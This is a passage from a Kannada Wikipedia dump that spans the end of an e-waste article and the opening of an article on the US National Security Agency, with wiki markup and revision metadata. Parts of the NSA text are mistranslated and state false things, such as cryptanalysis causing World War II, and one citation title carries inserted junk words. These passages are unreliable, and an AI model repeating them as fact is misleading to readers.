[[ನಿರ್ವಾತ ನಳಿಕೆ]]ಗಳ ಬಿಸಿ ವರ್ಗಾವಣೆ ರೆಕ್ಕೆಗಳು, ಮತ್ತು [[ಗ್ಯಾಸ್‌ ಲೇಸರ್‌]]ಗಳು.<ref>https://www.google.co.in/search?q=danger+of+electronic+waste&oq=danger+of+electronic+wa&aqs=chrome.2.69i57j33l3.13472j0j7&client=ms-android-lenovo&sourceid=chrome-mobile&ie=UTF-8</ref> === ಸಾಮಾನ್ಯವಾಗಿ ಅಪಾಯಕಾರಿಯಲ್ಲದ === * [[ತವರ]]:ಬೆಸುಗೆ,ಬಿಡಿಭಾಗಗಳ ತುದಿಯ ಮೇಲಿನ ಲೇಪನ. * [[ತಾಮ್ರ]]: ತಾಮ್ರದ ತಂತಿ, [[ಪ್ರಿಂಟೆಡ್ ಸರ್ಕ್ಯೂಟ್ ಬೋರ್ಡ್]] ಟ್ರ್ಯಾಕ್‌ಗಳು,ಬಿಡಿಭಾಗಗಳ ತುದಿ. * [[ಅಲ್ಯೂಮಿನಿಯಂ]]:ಎಲ್ಲಾ ವಿದ್ಯುನ್ಮಾನ ಸರಕುಗಳು ಶಕ್ತಿಯ ಕೆಲವು ವ್ಯಾಟ್ಸ್ ಹೆಚ್ಚಿಗೆ ಬಳಸುತ್ತವೆ(ಹೀಟ್‌ ಸಿಂಕ್)ವಿದ್ಯುದ್ವಿಚ್ಛೇದನದ ಧಾರಕ * [[ಕಬ್ಬಿಣ]]: ಸ್ಟೀಲ್ ಅಡಿಗಟ್ಟು , ಪೆಟ್ಟಿಗೆ, ಮತ್ತು ಉಪಕರಣಗಳು. * [[ಜರ್ಮೆನಿಯಮ್]]: ೧೯೫೦–೧೯೬೦ರ ವಿದ್ಯುನ್ಮಾನ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕ ([[ಎರಡು ಧ್ರುವಗಳಿರುವ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕಗಳ ಸಂಗಮ]]) * [[ಸಿಲಿಕಾನ್]] : [[ಗಾಜು]], [[ವಿದ್ಯುನ್ನುಯಂತ್ರಕಗಳು]], [[ಐ ಸಿ ಗಳು]], [[ಪ್ರಿಂಟೆಡ್ ಸರ್ಕ್ಯೂಟ ಬೋರ್ಡ್‌]]ಗಳು. * [[ನಿಕ್ಕೆಲ್]]: [[ನಿಕ್ಕೆಲ್-ಕ್ಯಾಡ್ಮಿಯಮ್ ಬ್ಯಾಟರಿಗಳು]]. * [[ಲಿಥಿಯಮ್]]: [[ಲಿಥಿಯಮ್-ಐಯಾನ್ ಬ್ಯಾಟರಿಗಳು]]. * [[ಸತು]]: ಸ್ಟೀಲ್ ಭಾಗಗಳಿಗೆ [[ಲೋಹ ಲೇಪನ]] ಮಾಡುವುದು. * [[ಬಂಗಾರ]]: [[ಜೋಡಕ ಲೋಹ ಲೇಪನ]],ಮುಖ್ಯವಾಗಿ ಕಂಪ್ಯೂಟರ್ ಉಪಕರಣಗಳಲ್ಲಿ. == ಇವನ್ನೂ ನೋಡಿ == {{portalpar|Environment}} {{portalpar|Electronics|Nuvola_apps_ksim.png}} * [[ದೇಶದಿಂದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ]] * [[ಇ-ಸೈಕ್ಲಿಂಗ್]] * [[ಡಿಗ್ಗರ್ ಗೋಲ್ಡ್]] * [[ಗ್ರೀನ್ ಕಂಪ್ಯೂಟಿಂಗ್]] * [[ಪಾಲಿ ಕ್ಲೋರಿನೆಟೆಡ್ ಬೈಫಿನಾಯಿಲ್]] * [[ಅಪಾಯಕಾರಿ ಚಿಲ್ಲರೆ ತ್ಯಾಜ್ಯ]] * [[ಬಾಸೆಲ್ ಕನ್ವೆನ್ಷನ್]] * [[ಮಟೀರಿಯಲ್ ಸೆಫ್ಟಿ ಡಾಟಾ ಶೀಟ್]] ;ಸಂಸ್ಥೆಗಳು * [[ಇಂತರ್‌ನ್ಯಾಷನಲ್ ನೆಟ್‌ವರ್ಕ್ ಫಾರ್ ಎನ್ವಾಯರ್ಮೆಂಟಲ್ ಕಂಪ್ಲೈನ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ಎನ್ಫೋರ್ಸ್‌ಮೆಂಟ್]] * [[ಸಾಲ್ವಿಂಗ ದ ಇ-ವೇಸ್ಟ್ ಪ್ರಾಬ್ಲೆಮ್]] * [[ವಲ್ಡ್ ರಿಯುಸ್, ರೀಪೇರ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ರೀಸೈಕ್ಲಿಂಗ್ ಅಸೋಸಿಯೇಷನ್]] == ಆಕರಗಳು == {{Reflist|2}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category|Electronic waste}} * [http://ewasteguide.info ಇ-ತ್ಯಾಜ್ಯ ಮಾರ್ಗದರ್ಶಿ] * [http://www.wr3a.org ವಲ್ಡ್ ರಿಯುಸ್, ರೀಪೇರ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ರೀಸೈಕ್ಲಿಂಗ್ ಅಸೋಸಿಯೇಷನ್] ;ಸುದ್ದಿ * [https://www.nytimes.com/2009/09/27/science/earth/27waste.html?partner=rss&amp;emc=rss ಸ್ಮಗ್ಲಿಂಗ್ ಯುರೋಪ್ಸ್ ವೇಸ್ಟ್ ಟು ಪುವರ್ ಕಂಟ್ರೀಸ್- - ಎನ್‌ವೈಟೈಮ್ಸ್.ಕಾಮ್] {{waste}} {{RecyclingByMaterial}} {{DEFAULTSORT:Electronic Waste}} [[ವರ್ಗ:ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ]] [[ವರ್ಗ:ಪುನರ್ಬಳಕೆಯ ವಸ್ತುಗಳು]] [[ವರ್ಗ:ಪರಿಸರ]] [[ವರ್ಗ:ವಿದ್ಯುನ್ಮಾನ ಶಾಸ್ತ್ರ]] 29q1q2uxvmisu3cny54ig72ivei76px ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆ 0 23321 1116411 1061688 2022-08-23T12:06:46Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Government agency |agency_name = National Security Agency |nativename = |nativename_a = |nativename_r = |logo = |logo_width = |logo_caption = |seal = Seal of the U.S. National Security Agency.svg |seal_width = 200px |seal_caption = |formed = November 4, 1952 |preceding1 = [[National Security Agency#History|Armed Forces Security Agency]] |preceding2 = |dissolved = |superseding = |jurisdiction = United States |headquarters = [[Fort George G. Meade|Fort Meade]], [[Maryland]] |employees = [[Classified information|Classified]] |budget = [[Classified information|Classified]] |chief1_name = [[Lieutenant general (United States)|Lieutenant General]] [[Keith B. Alexander]], [[United States Army|USA]] |chief1_position = [[Director of the National Security Agency|Director]] |chief2_name = [[John C. Inglis]] |chief2_position = [[Deputy Director of the National Security Agency|Deputy Director]] |parent_agency = [[United States Department of Defense]] |child1_agency = |child2_agency = }} '''ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆ''' /ಅಥವಾ ಕೇಂದ್ರ ಭದ್ರತಾ ಸೇವೆ ('''NSA/CSS''' )ಯು ಅಮೆರಿಕಾದ [[ಕ್ರಿಪ್ಟೊಲಾಜಿಕ್]] ಮತ್ತು [[ಗುಪ್ತಚರ ಇಲಾಖೆ]]ಯು [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಸರ್ಕಾರ]]ದ[[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನ ರಕ್ಷಣಾ ಇಲಾಖೆ]]ಯ ಆಡಳಿತ ಸಂಸ್ಥೆಯಾಗಿದೆ. ನವೆಂಬರ್ 4,1952ರಲ್ಲಿ ಅಧ್ಯಕ್ಷ [[ಹಾರ್ರಿ ಎಸ್.ತ್ರುಮ್ಯಾನ್]] ಅವರಿಂದ ರಚಿತವಾಗಿರುವ ಇದು ವಿದೇಶೀ ಸಂಪರ್ಕ ಮತ್ತು ವಿಶ್ಲೇಷಣೆಯನ್ನು ಸಂಗ್ರಹಿಸುತ್ತದೆಯಲ್ಲದೇ ವಿದೇಶೀ [[ಗುಪ್ತಚರ ಸಂಜ್ಞೆ]]ಗಳನ್ನು ಸ್ವೀಕರಿಸುವಲ್ಲಿ ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸುತ್ತದೆ.ಇದು ಅಲ್ಲಿಂದ ಬಂದ [[ಕ್ರಿಪ್ಟೊಎನಲೈಸಿಸ್]] ನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. U.S.ಸರ್ಕಾರದ ಸಂಪರ್ಕಗಳನ್ನು ಮತ್ತು ಮಾಹಿತಿ ವಿಧಾನಗಳನ್ನು ರಕ್ಷಿಸುತ್ತದೆ.ಇದೇ ತೆರನಾದ ತನ್ನ ಸಂಸ್ಥೆಗಳಿರುವ ಕಡೆಗಳಿಂದ ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿಯನ್ನು ಸಂಗ್ರಹಿಸಿ ತನ್ನ ಹಿತಾಸಕ್ತಿಗೆ ಪೂರಕವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. U.S.ನ ಒಕ್ಕೂಟ ಸಂಸ್ಥೆಯನ್ನು ನಿರ್ವಹಿಸುವಂತೆ {{As of|2008}}NSA ಗೆ ನಿರ್ದೇಶನ ನೀಡಲಾಗಿರುತ್ತದೆ.ಇದರಲ್ಲಿ [[ಕಾಂಪೂಟರ್ ಜಾಲ]]ಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಅವುಗಳನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ರಕ್ಷಿಸುವಂತೆ ವ್ಯವಸ್ಥೆ <ref name="Nakashima" /> ಮಾಡಿರಲಾಗಿರುತ್ತದೆ. NSA ಯನ್ನು [[ಲೆಫ್ಟಿನೆಂಟ್ ಜನರಲ್]] ಅಥವಾ [[ವೈಸ್ ಎಡ್ಮಿರಲ್]] ಅವರು ನಿರ್ದೇಶಿಸುತ್ತಿರುತ್ತಾರೆ. NSA ಯು [[U.S.ದ ಗುಪ್ತಚರ ಸಮೂಹ]] ವಿಭಾಗದ ಪ್ರಮುಖ ಕೊಂಡಿಯಾಗಿದೆ.[[ಡೈರೆಕ್ಟರ್ ಆಫ್ ನ್ಯಾಶನಲ್ ಇಂಟೆಲೆಜೆನ್ಸ್]]ಅವರ ಮುಂದಾಳುತ್ನದಲ್ಲಿ ಇದು ನಡೆಯಸಲ್ಪಡುತ್ತದೆ. [[ಕೇಂದ್ರ ಭದ್ರತಾ ಸೇವೆ]]ಯು ಗುಪ್ತಚರ ವಿಭಾಗದ ಕಾರ್ಯಚಟುವಟಿಕೆಯನ್ನು ಹಾಗು U.S.ಮತ್ತು NSA ನಡುವಿನ ಮಿಲಿಟರಿ ಚಟುವಟಿಕೆಯನ್ನು ಆಗಾಗ ಸಹಕರಿಸಿ ನಿರಂತರ ಸಂಬಂಧವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳುತ್ತದೆ. NSA ದ ಕಾರ್ಯಚಟುವಟಿಕೆಯು ಸಂಪರ್ಕ-ಸಂವಹನದ ಗುಪ್ತಚರ ವಿಭಾಗಕ್ಕೆ ನಿಗದಿಯಾಗಿರುತ್ತದೆ.ಇದು ಪ್ರಾದೇಶಿಕ ಅಥವಾ [[ಮಾನವ ಗುಪ್ತಚರ]]ದ ಕಾರ್ಯವನ್ನು ಮಾಡಲಾರದು. ಕಾನೂನು ಪ್ರಕಾರ NSAದ ಗುಪ್ತಚರ ಕಾರ್ಯವು ವಿದೇಶಿ ಸಂಪರ್ಕಕ್ಕೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿರುತ್ತದೆ.ಇದಕ್ಕಾಗಿ ಈ ಸಂಸ್ಥೆಯು ಈ ಕಾನೂನು ಚೌಕಟ್ಟನ್ನು ಮೀರುತ್ತದೆ ಎಂಬ [[ಅಸಂಖ್ಯಾತ ವರದಿಗಳಿ]]ವೆ ==ಸಂಸ್ಥೆ== <ref name="National Security Agency">{{cite web|title=The National Security Agency Frequently Asked Question Sex is goods|publisher=National Security Agency|url=http://www.nsa.gov/about/about00018.cfm#1|accessdate=2008-07-04|archiveurl=https://web.archive.org/web/20040307234226/http://www.nsa.gov/about/about00018.cfm#1|archivedate=2004-03-07|url-status=dead}}</ref> ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಯು ಪ್ರಮುಖವಾಗಿ ಎರಡು ಉದ್ದೇಶಗಳನ್ನು ಹೊಂದಿದೆ:ದಿ ಸಿಗ್ನಲ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಡೈರೆಕ್ಟೊರೇಟ್ (SID),ಇದು ವಿದೇಶಿ [[ಗುಪ್ತಚರ ಸಂಜ್ಞೆಗಳ]] ಮಾಹಿತಿಯನ್ನು ಒದಗಿಸುತ್ತದೆ,ಅಲ್ಲದೇU.S.ನ ಮಾಹಿತಿ ವಿಧಾನಗಳನ್ನು ರಕ್ಷಿಸುತ್ತದೆ.ಇದಕ್ಕಾಗಿ ಇನ್ ಫಾರ್ಮೇಶನ್ ಅಸ್ಸುರನ್ಸ್ ಡೈರೆಕ್ಟೊರೇಟ್ (IAD),ಕಾರ್ಯ <ref name="National Security Agency"/> ನಿರ್ವಹಿಸುತ್ತಿರುತ್ತದೆ. ===ಪಾತ್ರ=== [[File:Cray X-MP.jpg|thumbnail|right|ಕ್ರಯ್ X-MP/24 (ser. no. 115) ನ್ಯಾಶನಲ್ ಕ್ರಿಪ್ಟೊಲಾಜಿಕ್ ಮ್ಯುಸಿಯಮ್ ನಲ್ಲಿ ಸೂಪರ್ ಕಂಪೂಟರ್ ಗಳ ಪ್ರದರ್ಶನ]] NSA ನ [[ಆಯಾ ಘಟನೆಗಳ]] ದಾಖಲಿಸುವ ಉದ್ದೇಶಗಳಲ್ಲಿ [[ರೇಡಿಯೊ]][[ಪ್ರಸಾರ]],ಅಂದರೆ ಎರಡು ಕಂಡೆಯಿಂದ ವಿವಿಧ ಸಂಘಟನೆಯಿಂದ ಮತ್ತು ವೈಯಕ್ತಿಕ ಪ್ರಸಾರಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ.ಅದೂ ಅಲ್ಲದೇ [[ಇಂಟರ್ ನೆಟ್]] ,ದೂರವಣಿ ಕರೆಗಳು ಹಾಗು ಇನ್ನುಳಿದ ವಾರ್ತಾ ಮತ್ತು ಪ್ರಸಾರ ಮಾಧ್ಯಮಗಳ ನಿರ್ವಹಣೆಗೆ ಇದು ಬಳಕೆಯಾಗುತ್ತದೆ. ಇದರ ಪ್ರಮುಖವಾಗಿರುವ ಉದ್ದೇಶಗಳೆಂದರೆ ಭದ್ರತಾ ವಲಯದ [[ಮಿಲಿಟರಿ]],[[ರಾಜತಾಂತ್ರಿಕ]] ಮತ್ತು ಇನ್ನಿತರ ಸಂವೇದನಾಶೀಲ,ಸೂಕ್ಷ್ಮ,ರಹಸ್ಯ ಅಥವಾ ಗುಪ್ತ ಸರ್ಕಾರಿ ವ್ಯವಹಾರಗಳ ಬಗೆಗೆ ಇದು ಗಮನಹರಿಸುತ್ತದೆ. ವಿಶ್ವದಲ್ಲಿನ ಅತಿ ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ [[ಗಣಿತಜ್ಞ]]ರನ್ನು ನೇಮಕ ಮಾಡಿಕೊಂಡ ಏಕೈಕ ಸಂಸ್ಥೆ ಇದಾಗಿದ್ದು ಅದಲ್ಲದೇ ಅತಿಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ [[ಸೂಪರ್ ಕಂಪೂಟರ್]] ಗಳನ್ನು ಹೊಂದಿರುವ ಈ ಸಮೂಹವು ಅತ್ಯಂತ ಸರಳ <ref>{{cite speech|title=Statement for the Record|author=Harvey A. Davis|first=Harvey|last=Davis|date=12 March 2002|location=342 Dirksen Senate Office Building, Washington, D.C.|url=http://www.nsa.gov/public_info/speeches_testimonies/12mar02.shtml|accessdate=2009-11-24|archive-date=2010-05-27|archive-url=https://web.archive.org/web/20100527155439/http://www.nsa.gov/public_info/speeches_testimonies/12mar02.shtml|url-status=dead}}</ref>{{Clarify me|date=May 2009}}ಸಂಘಟನೆಯೆನಿಸಿದೆ. ಹಲವಾರು ವರ್ಶಗಳ ವರೆಗೆ ಈ ಸಂಸ್ಥೆಯು U.S. ಸರ್ಕಾರಕ್ಕೆ ಅಜ್ಞಾತವಾಗಿತ್ತು.ಇದನ್ನು ಸಣ್ಣದಾಗಿ "ಇಂತಹ ಸಂಸ್ಥೆಯೇ ಇಲ್ಲ".(NSA)ಎಂದು ಹೇಳಲಾಗುತಿತ್ತು. ಯಾಕೆಂದರೆ ಈ ಸಂಸ್ಥೆಯು ವಿರಳವಾಗಿ ಸಾರ್ವಜನಿಕವಾಗಿ ಹೊರಗೆ ಕಾಣಿಸಿಕೊಂಡಿರಲ್ಲಿ.ಇದರ ಮುಖ್ಯ ಗುರಿ ಎಂದರೆ "ಎಂದೂ ಯಾರಿಗೂ ಏನೂ ಹೇಳುವದಿಲ್ಲ" NSA/CSS ಸಂಸ್ಥೆಯ ಪ್ರಮುಖ ಕಾರ್ಯಪಟ್ಟಿ ಎಂದರೆ[[ಕ್ರಿಪ್ಟಾನಾಲಿಟಿಕ್]] ಸಂಶೋಧನೆಯು ಇತ್ತೀಚಿಗೆ ಅಧ್ಯಯನದ ಪ್ರಕಾರ [[ವಿಶ್ವ ಯುದ್ದ II]] ಸಂಭವಿಸಲು ಕಾರಣವಾಯಿತೆಂದು ಹೇಳಲಾಗುತ್ತದೆ.[[ಕೋಡ್ಸ್]] ಮತ್ತು [[ಸೈಫರ್]] ಗಳು (ನೋಡಿ'ಉದಾಹರಣೆಗೆ [[ಪರ್ಪಲ್]],[[ವೆನೊನಾ ಯೋಜನೆ]] ಮತ್ತು[[JN-25]]) ಇಸವಿ 2004ರಲ್ಲಿ NSA,[[ಕೇಂದ್ರ ಭದ್ರತಾ ಸೇವೆ]] ಮತ್ತು [[ಡಿಪಾರ್ಟ್ ಮೆಂಟ್ ಆಫ್ ಹೋಮ್ ಲ್ಯಾಂಡ್ ಸೆಕ್ಯುರಿಟಿ]]ಯ[[ನ್ಯಾಶನಲ್ ಸೈಬರ್ ಸೆಕುರಿಟಿ ಡಿವಿಜನ್]] (DHS)ಗಳು NSA ದ ಅಕಾಡೆಮಿಕ್ ಎಕ್ಸೆಲೆನ್ಸ್ ಇನ್ ಇನ್ ಫಾರ್ಮೇಶನ್ ಅಸ್ಯುರನ್ಸ್ ಪ್ರೊಗ್ರಾಮ್ ನ್ನು ವಿಸ್ತರಿಸಲು ಒಪ್ಪಿಗೆ <ref>{{cite press release|title=National Security Agency and the U.S. Department of Homeland Security Form New Partnership to Increase National Focus on Cyber Security Education|url=http://www.nsa.gov/public_info/press_room/2004/nsa_dhs_new_partnership.shtml|publisher=NSA Public and Media Affairs|accessdate=2008-07-04|date=2004-04-22|archive-date=2010-06-21|archive-url=https://web.archive.org/web/20100621132848/http://www.nsa.gov/public_info/press_room/2004/nsa_dhs_new_partnership.shtml|url-status=dead}}</ref> ಸೂಚಿಸಿತು. <ref name="Nakashima">{{cite news|url=http://www.washingtonpost.com/wp-dyn/content/article/2008/01/25/AR2008012503261_pf.html|title=Bush Order Expands Network Monitoring: Intelligence Agencies to Track Intrusions|author=Ellen Nakashima|publisher=The Washington Post|date=2008-01-26|accessdate=2008-02-09}}</ref> ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಭಾಗವಾಗಿ [[ಪ್ರೆಸಿಡೆನ್ ಶಿಯಲ್ ಡೈರೆಕ್ಟಿವ್]] 54/ಹೋಮ್ಲಾಂಡ್ ಸೆಕ್ಯುರಿಟಿ ಪ್ರೆಸಿಡೆನ್ ಶಿಯಲ್ ಡೈರೆಕ್ಟಿವ್ 23 (NSPD 54),ನ್ನು ಅಧ್ಯಕ್ಷ ಬುಶ್ ಜನವರಿ8,2008ರಲ್ಲಿ ಸಹಿ ಹಾಕಿ ಒಕ್ಕೂಟ ಅಮೆರಿಕಾ ಸರ್ಕಾರದ ಎಲ್ಲಾ ಕಂಪೂಟರ್ ಜಾಲಗಳನ್ನು [[ಸೈಬರ್ -ಭಯೋತ್ಪಾದನೆ]]ಯಿಂದ ರಕ್ಷಿಸುವಂತೆ ಈ ಸಂದರ್ಭದಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಗೆ <ref name="Nakashima"/> ವಹಿಸಿಕೊಡಲಾಯಿತು. ===ಸೌಲಭ್ಯಗಳು=== [[File:National Security Agency headquarters, Fort Meade, Maryland.jpg|thumbnail|300px|right|ಫೊರ್ಟ್ ಮೆಡೆಮೇರಿಲ್ಯಾಂಡ್ ನಲ್ಲಿರುವ, NSA ಪ್ರಧಾನ ಕಚೇರಿ , ಸ್ಥಳೀಯವಾಗಿ ಇದನ್ನು "ದಿ ಬಿಲ್ಡಿಂಗ್" ಎನ್ನುತ್ತಾರೆ.]] ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಯ ಪ್ರಧಾನ ಕಚೇರಿಗಳು,[[ಫೊರ್ಟ್ ಜಾರ್ಜ್ ಜಿ.ಮೆಡೆ]],[[ಮೇರಿಲ್ಯಾಂಡ್]],ಸುಮಾರು [[ಬಾಲ್ಟಿಮೊರ್]] ನಿಂದ 15ಮೈಲು ಅಥವಾ 24ಕಿ ಮೀ ಈಶಾನ್ಯಕ್ಕಿದೆ "NSA ಗೆ ಅದರ [[ಮೇರಿಲ್ಯಾಂಡ್ ರೂಟ್ 295 ದಕ್ಷಿಣ]] ಭಾಗವನ್ನು "NSA ನೌಕರಿರಿಗೆ ಮಾತ್ರ"ಎಂಬ ಫಲಕದೊಂದಿಗೆ ತನ್ನ ಹೊರಬಾಗಿಲನ್ನು ತೆರೆದಿದೆ. NSA ದ ಕಾರ್ಯಕ್ಷೇತ್ರವನ್ನು ಕಂಡು ಹಿಡಿಯವುದು ತುಂಬಾ ಕಠಿಣ ಕೆಲಸವಾಗಿದೆ.ಅಲ್ಲಿನ ಅಂಕಿಅಂಶಗಳ ಪ್ರಕಾರ ಅದರ ನಿವೇಶನದಲ್ಲಿ 18,000 ಪಾರ್ಕಿಂಗ್ ಜಾಗೆಗಳನ್ನು ಗುರುತಿಸಬಹುದಾಗಿದೆ. ಸುಮಾರು 2006ರಲ್ಲಿ ದಿ''[[ಬಾಲ್ಟಿಮೊರ್ ಸನ್]]'' ವರದಿಯಂತೆ NSA ಯು ಎಲೆಕ್ಟ್ರಿಕಲ್ ವಿಪರೀತ ಒತ್ತಡದ ಬಳಕೆಯಿಂದ ಬಳಲುತ್ತಿದೆ.ಫೊರ್ಟ್ ಮೆಡ್ಸೆನಲ್ಲಿ ಇದರ ಒತ್ತಡ ತಡೆಯಲು ಮೂಲಭೂತ ಸೌಕರ್ಯಗಳ ಒದಗಿಸಲು ಇಲ್ಲಿ ಕ್ರಮ ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ. ಈ ಸಮಸ್ಯೆಯನ್ನು ಸಾಮಾನ್ಯವಾಗಿ 1990ರಲ್ಲಿ ಗುರುತಿಸಲಾಯಿತಾದರೂ ಅದನ್ನು ಅಷ್ಟಾಗಿ ಗಂಭೀರವಾಗಿ ಆದ್ಯತೆ ಮೇಲೆ ಪರಿಗಣಿಸಲಾಗಿರಲಿಲ್ಲ."ಇದು ಈ ಸಂಸ್ಥೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು "ಹೆಚ್ಚಿಸಿ ಅದನ್ನು ಹೆದರಿಸಿ ಅದರ ಕಾರ್ಯಕ್ಕೆ ಚಾಲನೆ <ref>{{cite web |url=http://www.baltimoresun.com/news/nationworld/bal-te.nsapower06aug06,0,5137448.story?coll=bal-home-headlines |accessdate=2006-08-06 |author=Gorman, Siobhan |title=NSA risking electrical overload |archive-date=2006-08-20 |archive-url=https://web.archive.org/web/20060820135709/http://www.baltimoresun.com/news/nationworld/bal-te.nsapower06aug06,0,5137448.story?coll=bal-home-headlines |url-status=dead }}</ref> ಮಾಡಲಾಯಿತು. ಸರ್ಕಾರದ ಭದ್ರತಾ ವಿಷಯಗಳನ್ನು ನೋಡುವುದಲ್ಲದೇ ಇದರೊಂದಿಗೆ NSA ಯು ಸರ್ಕಾರದ ತಂತ್ರಜ್ಞಾನದ ವಲಯಗಳು ಹಾಗು ಸಂಪರ್ಕದ ಹಾರ್ಡ್ ವೇರ್ ಮತ್ತು ಸಾಫ್ಟ್ ವೇರ್ ಗಳ ಉಸ್ತುವಾರಿಗೂ ಜವಾಬ್ದಾರಿಯಾಗಿರುತ್ತದೆ.[[ಸೆಮಿಕಂಡರ್]] ಗಳ ಉತ್ಪಾದನೆ([[ಫೊರ್ಟ್ ಮೆಡೆ]]ಯಲ್ಲಿ ಚಿಪ್ ತಯಾರಿಕಾ ಸ್ಥಾವರ)ಅದಲ್ಲದೇ ಅತ್ಯಾಧುನಿಕ ಗೂಢಚರ್ಯ ವಿಷಯಗಳ [[ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿ]] ಸಂಶೋಧನೆ ಬಗ್ಗೆಯೂ ಇದು ಗಮನಿಸುತ್ತದೆ. ಈ ಸಂಸ್ಥೆಯು ಸಂಶೋಧನೆ ಮತ್ತು ಸಲಕರಣೆಗಳ ವಿಷಯದಲ್ಲಿ ಖಾಸಗಿಯವರೊಂದಿಗೆ ಸಂಪರ್ಕ ಸಾಧಿಸುತ್ತದೆ. ಅದರ ಫೊರ್ಟ್ ಮೆಡೆಯ ಪ್ರಧಾನ ಕಚೇರಿಯಲ್ಲದೇ,NSA ಯು ಇನ್ನುಳಿದೆಡೆ ಸೌಕರ್ಯಗಳನ್ನು ಕಲ್ಪಿಸುವದರಲ್ಲಿ ನಿರತವಾಗಿದೆ.[[ಸ್ಯಾನ್ ಅಂಟೊನಿಯೊ]],ಟೆಕ್ಸಾಸ್ ನಲ್ಲಿರುವ ,[[ಟೆಕ್ಸಾಸ್ ಕ್ರಿಪ್ಟೊಲಾಜಿ ಸೆಂಟರ್]][[ರ್ಫೊರ್ಟ್ ಗೊರ್ಡನ]],[[ಜಾರ್ಜಿಯಾ]] ಮತ್ತು ಹಲವೆಡೆ ಇದರ ಕಾರ್ಯವ್ಯಾಪ್ತಿ ಪಸರಿಸಿದೆ. ಸುಮಾರು USD $1.9 ಬಿಲಿಯನ್ ಮೊತ್ತದಲ್ಲಿ [[ಉತಾಹ]]ದಲ್ಲಿನ [[ಕ್ಯಾಂಪ್ ವಿಲಿಯಮ್ಸ್]] ಅಂಕಿಅಂಶದ ಕೇಂದ್ರವೊಂದನ್ನು <ref>{{cite news|author=LaPlante, Matthew D.|title=Spies like us: NSA to build huge facility in Utah|url=http://www.sltrib.com/ci_12735293|date=July 2, 2009|publisher=MediaNews Group|work=Salt Lake Tribune|accessdate=2009-07-05}}</ref> ಸ್ಥಾಪಿಸಲಾಗಿದೆ. ===ನ್ಯಾಶನಲ್ ಕಂಪೂಟರ್ ಸೆಕ್ಯುರಿಟಿ ಸೆಂಟರ್=== '''ನ್ಯಾಶನಲ್ ಕಂಪೂಟರ್ ಸೆಕ್ಯುರಿಟಿ ಸೆಂಟರ್''' ,ಒಂದು ಕಾಲದಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಯ ಒಂದು ಭಾಗವಾಗಿದ್ದು 1981ರಲ್ಲಿ ಇದು ಸ್ಥಾಪನೆಗೊಂಡಿದೆ.ಉನ್ನತ ಭದ್ರತೆ ಮತ್ತು ಅಥವಾ ರಹಸ್ಯ ಅಳವಡಿಕೆಗಳಿಗೆ ಬಳಸುವ ಕಾಂಪೂಟರ್ ಗಳ ಮೌಲ್ಯಮಾಪನ ಮತ್ತುಅಂತಹ ಸಲಕರಣೆಗಳ ಉತ್ತಮ ಬಳಕೆಗಾಗಿ ಈ ಸೆಂಟರ್ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಕಂಪೂಟಿಂಗ್ ಮತ್ತು ನೆಟ್ ವರ್ಕ್ ವೇದಿಕೆಯ ವಿಶೇಷತೆಗಳನ್ನು NCSC ಮಾಡುವುದಲ್ಲದೇ ಇದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ [[ಆರೇಂಜ್ ಬುಕ್]] ಮತ್ತು [[ರೆಡ್ ಬುಕ್]] ಗಳನ್ನು ಪ್ರಕಟಗೊಳಿಸುತ್ತದೆ. ಇದರಲ್ಲಿ ಎರಡು ಪುಸ್ತಕಗಳು ಹೆಚ್ಚು ಪ್ರಖ್ಯಾತಿ ಗಳಿಸಿವೆ.[[ಟ್ರಸ್ಟೆಡ್ ಕಂಪೂಟಿಂಗ್ ಸಿಸ್ಟೆಮ್ ಇವ್ಯಾಲ್ಯುವೇಶನ್ ಕ್ರೈಟೇರಿಯಾ]] ಮತ್ತು [[ಟ್ರಸ್ಟೆಡ್ ನೆಟ್ ವರ್ಕ್ ಇಂಟರ್ ಪ್ರಿಟೇಶೇನ್]],ಹಾಗು [[ರೇನ್ ಬೊ ಸೆರೀಸ]],ಇತ್ಯಾದಿ ಆದರೆ ಇವು ಬಹುತೇಕ [[ಕಾಮನ್ ಕ್ರಿಟೇರಿಯಾ]]ದಿಂದಾಗಿ ಕಡಿಮೆ ಜನಪ್ರಿಯತೆ ಪಡೆದಿವೆ. ===ಇತಿಹಾಸ=== ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ 